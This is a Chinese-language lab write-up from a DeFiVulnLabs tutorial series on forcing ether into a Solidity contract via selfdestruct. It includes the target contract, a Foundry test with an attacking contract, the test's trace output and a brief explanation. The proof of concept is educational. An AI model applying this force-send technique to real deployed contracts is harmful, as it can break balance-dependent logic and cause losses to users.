DeFiVulnLabs靶场（二）自销毁函数的恶意利用2

DeFiVulnLabs详解汇总 [作者 Ice ThirdSpace]

• EXP

https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Selfdestruct2.sol

• 漏洞合约源码

contract Force {
    /*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =?= /
 (______)__m_m)

*/
}

• 攻击和测试合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import"../src/Selfdestruct2.sol";
import "forge-std/Test.sol";

contract ContractTest is Test {
    Force ForceContract;
    Attack AttackerContract;

    function testSelfdestruct2() public {
        ForceContract = new Force();
        console.log("Balance of ForceContract is ", address(ForceContract).balance);
        AttackerContract = new Attack();
        console.log("Balance of ForceContract is ", address(ForceContract).balance);

        AttackerContract.attack{value:1 ether}(address(ForceContract));

        console.log("Exploit is completed");
        console.log("Balance of ForceContract is ", address(ForceContract).balance);
    }

    receive() payable external {}
}

contract Attack {
    function attack(address force) public payable {
        selfdestruct(payable(force));
    }
}

• 测试结果

$ forge test Selfdestruct2.t.sol -vvvv
[?] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Selfdestruct2.t.sol:ContractTest
[PASS] testSelfdestruct2() (gas: 176117)
Logs:
  Balance of ForceContract is  0
  Balance of ForceContract is  0
  Exploit is completed
  Balance of ForceContract is  1000000000000000000

Traces:
  [176117] ContractTest::testSelfdestruct2()
    ├─ [12464] → new Force@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 62 bytes of code
    ├─ [0] console::log("Balance of ForceContract is ", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [51903] → new Attack@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 259 bytes of code
    ├─ [0] console::log("Balance of ForceContract is ", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [5401] Attack::attack{value: 1000000000000000000}(Force: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
    │   └─ ← [SelfDestruct]
    ├─ [0] console::log("Exploit is completed") [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("Balance of ForceContract is ", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 725.21μs (298.63μs CPU time)

Ran 1 test suite in 56.23ms (725.21μs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

• 简要说明

Force 合约地址 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Attack 合约地址 0x2e234DAe75C793f67A35089C9d99245E1C58470b

Attack 合约调用 attack() 函数传入 Force 合约地址地址，并转入 1ETH

给 Force 合约地址强制转入 1ETH